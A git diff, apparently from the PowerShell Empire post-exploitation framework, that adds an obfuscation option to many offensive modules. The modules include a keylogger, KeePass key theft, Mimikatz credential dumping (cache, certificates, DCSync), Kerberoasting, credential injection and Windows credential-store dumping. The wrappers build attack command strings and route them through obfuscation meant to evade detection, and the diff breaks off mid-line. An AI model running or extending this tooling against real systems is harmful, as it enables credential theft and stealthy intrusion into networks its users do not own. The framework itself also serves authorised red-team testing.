a/lib/modules/powershell/collection/get_sql_query.py b/lib/modules/powershell/collection/get_sql_query.py index 551cc2a7c..bdf45f51f 100644 --- a/lib/modules/powershell/collection/get_sql_query.py +++ b/lib/modules/powershell/collection/get_sql_query.py @@ -60,7 +60,7 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): username = self.options['Username']['Value'] password = self.options['Password']['Value'] @@ -70,6 +70,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLQuery.ps1" script = "" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: with open(moduleSource, 'r') as source: script = source.read() @@ -77,13 +80,15 @@ def generate(self): print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" - script += " Get-SQLQuery" + scriptEnd = " Get-SQLQuery" if username != "": - script += " -Username "+username + scriptEnd += " -Username "+username if password != "": - script += " -Password "+password + scriptEnd += " -Password "+password if instance != "": - script += " -Instance "+instance - script += " -Query "+"\'"+query+"\'" - + scriptEnd += " -Instance "+instance + scriptEnd += " -Query "+"\'"+query+"\'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/inveigh.py b/lib/modules/powershell/collection/inveigh.py index 97c16d7bb..828d8ef92 100644 --- a/lib/modules/powershell/collection/inveigh.py +++ b/lib/modules/powershell/collection/inveigh.py @@ -198,11 +198,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-Inveigh.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -215,19 +217,21 @@ def generate(self): script = moduleCode # set defaults for Empire - script += "\n" + 'Invoke-Inveigh -Tool "2"' + scriptEnd = "\n" + 'Invoke-Inveigh -Tool "2"' for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: if "," in str(values['Value']): quoted = '"' + str(values['Value']).replace(',', '","') + '"' - script += " -" + str(option) + " " + quoted + scriptEnd += " -" + str(option) + " " + quoted else: - script += " -" + str(option) + " \"" + str(values['Value']) + "\"" - + scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/keylogger.py b/lib/modules/powershell/collection/keylogger.py index 028c53d46..e0c41e5aa 100644 --- a/lib/modules/powershell/collection/keylogger.py +++ b/lib/modules/powershell/collection/keylogger.py @@ -50,7 +50,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-Keystrokes.ps1" @@ -66,15 +66,17 @@ def generate(self): script = moduleCode - script += "Get-Keystrokes " + scriptEnd = "Get-Keystrokes " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/minidump.py b/lib/modules/powershell/collection/minidump.py index fd574de16..0b74e07aa 100644 --- a/lib/modules/powershell/collection/minidump.py +++ b/lib/modules/powershell/collection/minidump.py @@ -65,11 +65,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Out-Minidump.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -80,18 +82,22 @@ def generate(self): f.close() script = moduleCode + + scriptEnd = "" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if option == "ProcessName": - script += "Get-Process " + values['Value'] + " | Out-Minidump" + scriptEnd += "Get-Process " + values['Value'] + " | Out-Minidump" elif option == "ProcessId": - script += "Get-Process -Id " + values['Value'] + " | Out-Minidump" + scriptEnd += "Get-Process -Id " + values['Value'] + " | Out-Minidump" for option,values in self.options.iteritems(): if values['Value'] and values['Value'] != '': if option != "Agent" and option != "ProcessName" and option != "ProcessId": - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/netripper.py b/lib/modules/powershell/collection/netripper.py index 65d708c4d..0be077d10 100644 --- a/lib/modules/powershell/collection/netripper.py +++ b/lib/modules/powershell/collection/netripper.py @@ -83,11 +83,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-NetRipper.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -99,20 +101,22 @@ def generate(self): script = moduleCode - script += "Invoke-NetRipper " + scriptEnd = "Invoke-NetRipper " for option,values in self.options.iteritems(): if option.lower() != "agent": if option.lower() == "searchstrings": - script += " -" + str(option) + " \"" + str(values['Value']) + "\"" + scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" else: if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) - script += ";'Invoke-NetRipper completed.'" - + scriptEnd += ";'Invoke-NetRipper completed.'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/ninjacopy.py b/lib/modules/powershell/collection/ninjacopy.py index 91c7a63f5..8f9aa3596 100644 --- a/lib/modules/powershell/collection/ninjacopy.py +++ b/lib/modules/powershell/collection/ninjacopy.py @@ -72,11 +72,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-NinjaCopy.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -88,17 +90,19 @@ def generate(self): script = moduleCode - script += "$null = Invoke-NinjaCopy " + scriptEnd = "$null = Invoke-NinjaCopy " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) - script += "; Write-Output 'Invoke-NinjaCopy Completed'" - + scriptEnd += "; Write-Output 'Invoke-NinjaCopy Completed'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/packet_capture.py b/lib/modules/powershell/collection/packet_capture.py index 4b848050c..ae2645562 100644 --- a/lib/modules/powershell/collection/packet_capture.py +++ b/lib/modules/powershell/collection/packet_capture.py @@ -71,7 +71,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): maxSize = self.options['MaxSize']['Value'] traceFile = self.options['TraceFile']['Value'] @@ -89,5 +89,6 @@ def generate(self): if persistent != "": script += " persistent=yes" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/collection/prompt.py b/lib/modules/powershell/collection/prompt.py index 2b94cd142..b0b00dac9 100644 --- a/lib/modules/powershell/collection/prompt.py +++ b/lib/modules/powershell/collection/prompt.py @@ -67,7 +67,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ # Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/ @@ -119,5 +119,6 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\"" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/collection/screenshot.py b/lib/modules/powershell/collection/screenshot.py index 2f45834cf..091a2d24e 100644 --- a/lib/modules/powershell/collection/screenshot.py +++ b/lib/modules/powershell/collection/screenshot.py @@ -56,7 +56,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Get-Screenshot @@ -114,5 +114,6 @@ def generate(self): script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py b/lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py index 5b8cb944d..a348ea67b 100644 --- a/lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py +++ b/lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py @@ -80,13 +80,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/vaults/KeePassConfig.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -100,20 +102,22 @@ def generate(self): script = moduleCode # kill all KeePass instances first - script += "\nGet-Process *keepass* | Stop-Process -Force" + scriptEnd = "\nGet-Process *keepass* | Stop-Process -Force" - script += "\nFind-KeePassconfig | Add-KeePassConfigTrigger " + scriptEnd += "\nFind-KeePassconfig | Add-KeePassConfigTrigger " for option, values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += "\nFind-KeePassconfig | Get-KeePassConfigTrigger " - script += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += "\nFind-KeePassconfig | Get-KeePassConfigTrigger " + scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/vaults/find_keepass_config.py b/lib/modules/powershell/collection/vaults/find_keepass_config.py index 4135343c4..b4ef71a24 100644 --- a/lib/modules/powershell/collection/vaults/find_keepass_config.py +++ b/lib/modules/powershell/collection/vaults/find_keepass_config.py @@ -65,13 +65,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/vaults/KeePassConfig.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -84,8 +86,10 @@ def generate(self): # get just the code needed for the specified function script = moduleCode - script += "\nFind-KeePassconfig " - - script += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd = "\nFind-KeePassconfig " + scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py b/lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py index 9aa88476c..b0a0935f3 100644 --- a/lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py +++ b/lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py @@ -65,13 +65,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/vaults/KeePassConfig.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -84,8 +86,10 @@ def generate(self): # get just the code needed for the specified function script = moduleCode - script += "\nFind-KeePassconfig | Get-KeePassConfigTrigger " - - script += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd = "\nFind-KeePassconfig | Get-KeePassConfigTrigger " + scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/vaults/keethief.py b/lib/modules/powershell/collection/vaults/keethief.py index 2554a7b49..836c39831 100644 --- a/lib/modules/powershell/collection/vaults/keethief.py +++ b/lib/modules/powershell/collection/vaults/keethief.py @@ -65,13 +65,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/vaults/KeeThief.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -84,8 +86,10 @@ def generate(self): # get just the code needed for the specified function script = moduleCode - script += "\nGet-KeePassDatabaseKey " - - script += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd = "\nGet-KeePassDatabaseKey " + scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py b/lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py index 90ea9754c..7cce50d22 100644 --- a/lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py +++ b/lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py @@ -65,13 +65,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/collection/vaults/KeePassConfig.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -85,9 +87,11 @@ def generate(self): script = moduleCode # kill all KeePass instances first - script += "\nGet-Process *keepass* | Stop-Process -Force" - - script += "\nFind-KeePassconfig | Remove-KeePassConfigTrigger " - script += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd = "\nGet-Process *keepass* | Stop-Process -Force" + scriptEnd += "\nFind-KeePassconfig | Remove-KeePassConfigTrigger " + scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/credential_injection.py b/lib/modules/powershell/credentials/credential_injection.py index adc290780..30b36385d 100644 --- a/lib/modules/powershell/credentials/credential_injection.py +++ b/lib/modules/powershell/credentials/credential_injection.py @@ -93,11 +93,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-CredentialInjection.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -109,7 +111,7 @@ def generate(self): script = moduleCode - script += "Invoke-CredentialInjection" + scriptEnd = "Invoke-CredentialInjection" if self.options["NewWinLogon"]['Value'] == "" and self.options["ExistingWinLogon"]['Value'] == "": print helpers.color("[!] Either NewWinLogon or ExistingWinLogon must be specified") @@ -145,8 +147,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/enum_cred_store.py b/lib/modules/powershell/credentials/enum_cred_store.py index 4d94b80fa..c04fa82c5 100644 --- a/lib/modules/powershell/credentials/enum_cred_store.py +++ b/lib/modules/powershell/credentials/enum_cred_store.py @@ -1,55 +1,59 @@ -from lib.common import helpers - -class Module: - def __init__(self, mainMenu, params=[]): - self.info = { - 'Name': 'enum_cred_store', - 'Author': ['BeetleChunks'], - 'Description': ('Dumps plaintext credentials from the Windows Credential Manager for the current interactive user.'), - 'Background' : True, - 'OutputExtension' : None, - 'NeedsAdmin' : False, - 'OpsecSafe' : True, - 'Language' : 'powershell', - 'MinLanguageVersion' : '2', - 'Comments': ['The powershell used is based on JimmyJoeBob Alooba\'s CredMan script.\nhttps://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde'] - } - - # any options needed by the module, settable during runtime - self.options = { - # format: - # value_name : {description, required, default_value} - 'Agent' : { - 'Description' : 'Agent to run module on.', - 'Required' : True, - 'Value' : '' - } - } - - # save off a copy of the mainMenu object to access external functionality - # like listeners/agent handlers/etc. - self.mainMenu = mainMenu - - for param in params: - # parameter format is [Name, Value] - option, value = param - if option in self.options: - self.options[option]['Value'] = value - - - def generate(self): - scriptPath = self.mainMenu.installPath + "/data/module_source/credentials/dumpCredStore.ps1" - scriptCmd = "Invoke-X" - - try: - f = open(scriptPath, 'r') - except: - print helpers.color("[!] Unable to open script at the configured path: " + str(scriptPath)) - return "" - - script = f.read() - f.close() - - script += "\n%s" %(scriptCmd) - - return script \ No newline at end of file +from lib.common import helpers + +class Module: + def __init__(self, mainMenu, params=[]): + self.info = { + 'Name': 'enum_cred_store', + 'Author': ['BeetleChunks'], + 'Description': ('Dumps plaintext credentials from the Windows Credential Manager for the current interactive user.'), + 'Background' : True, + 'OutputExtension' : None, + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinLanguageVersion' : '2', + 'Comments': ['The powershell used is based on JimmyJoeBob Alooba\'s CredMan script.\nhttps://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde'] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self, obfuscate=False, obfuscationCommand=""): + moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/dumpCredStore.ps1" + scriptCmd = "Invoke-X" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Unable to open script at the configured path: " + str(scriptPath)) + return "" + + script = f.read() + f.close() + + scriptEnd = "\n%s" %(scriptCmd) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd + return script diff --git a/lib/modules/powershell/credentials/invoke_kerberoast.py b/lib/modules/powershell/credentials/invoke_kerberoast.py index 855c07369..ec8e32044 100644 --- a/lib/modules/powershell/credentials/invoke_kerberoast.py +++ b/lib/modules/powershell/credentials/invoke_kerberoast.py @@ -92,13 +92,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info['Name'] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Kerberoast.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -109,17 +111,19 @@ def generate(self): f.close() script = moduleCode - script += "\nInvoke-Kerberoast " + scriptEnd = "\nInvoke-Kerberoast " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/cache.py b/lib/modules/powershell/credentials/mimikatz/cache.py index 5320cf7b1..64f2a8dab 100644 --- a/lib/modules/powershell/credentials/mimikatz/cache.py +++ b/lib/modules/powershell/credentials/mimikatz/cache.py @@ -53,11 +53,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -69,8 +71,11 @@ def generate(self): script = moduleCode - script += "Invoke-Mimikatz -Command " - - script += "'\"token::elevate\" \"lsadump::cache\" \"token::revert\"';" + scriptEnd = "Invoke-Mimikatz -Command " + scriptEnd += "'\"token::elevate\" \"lsadump::cache\" \"token::revert\"';" + + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/certs.py b/lib/modules/powershell/credentials/mimikatz/certs.py index 081fbecc4..bc6cfa720 100644 --- a/lib/modules/powershell/credentials/mimikatz/certs.py +++ b/lib/modules/powershell/credentials/mimikatz/certs.py @@ -52,11 +52,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -69,6 +71,8 @@ def generate(self): script = moduleCode # add in the cert dumping command - script += """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine /store:root /export"' """ - + scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine /store:root /export"' """ + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/command.py b/lib/modules/powershell/credentials/mimikatz/command.py index 09fc98d32..6fe1eaa72 100644 --- a/lib/modules/powershell/credentials/mimikatz/command.py +++ b/lib/modules/powershell/credentials/mimikatz/command.py @@ -57,11 +57,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -74,7 +76,9 @@ def generate(self): script = moduleCode # build the custom command with whatever options we want - script += "Invoke-Mimikatz -Command " - script += "'\"" + self.options['Command']['Value'] + "\"'" - + scriptEnd = "Invoke-Mimikatz -Command " + scriptEnd += "'\"" + self.options['Command']['Value'] + "\"'" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/dcsync.py b/lib/modules/powershell/credentials/mimikatz/dcsync.py index e1dd40629..c5c930557 100644 --- a/lib/modules/powershell/credentials/mimikatz/dcsync.py +++ b/lib/modules/powershell/credentials/mimikatz/dcsync.py @@ -70,11 +70,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -86,16 +88,18 @@ def generate(self): script = moduleCode - script += "Invoke-Mimikatz -Command " + scriptEnd = "Invoke-Mimikatz -Command " - script += "'\"lsadump::dcsync /user:" + self.options['user']['Value'] + scriptEnd += "'\"lsadump::dcsync /user:" + self.options['user']['Value'] if self.options["domain"]['Value'] != "": - script += " /domain:" + self.options['domain']['Value'] + scriptEnd += " /domain:" + self.options['domain']['Value'] if self.options["dc"]['Value'] != "": - script += " /dc:" + self.options['dc']['Value'] - - script += "\"';" + scriptEnd += " /dc:" + self.options['dc']['Value'] + scriptEnd += "\"';" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py b/lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py index 4e896bf1b..e62266780 100644 --- a/lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py +++ b/lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py @@ -75,11 +75,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-DCSync.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -91,20 +93,22 @@ def generate(self): script = moduleCode - script += "Invoke-DCSync -PWDumpFormat " + scriptEnd = "Invoke-DCSync -PWDumpFormat " if self.options["Domain"]['Value'] != '': - script += " -Domain " + self.options['Domain']['Value'] + scriptEnd += " -Domain " + self.options['Domain']['Value'] if self.options["Forest"]['Value'] != '': - script += " 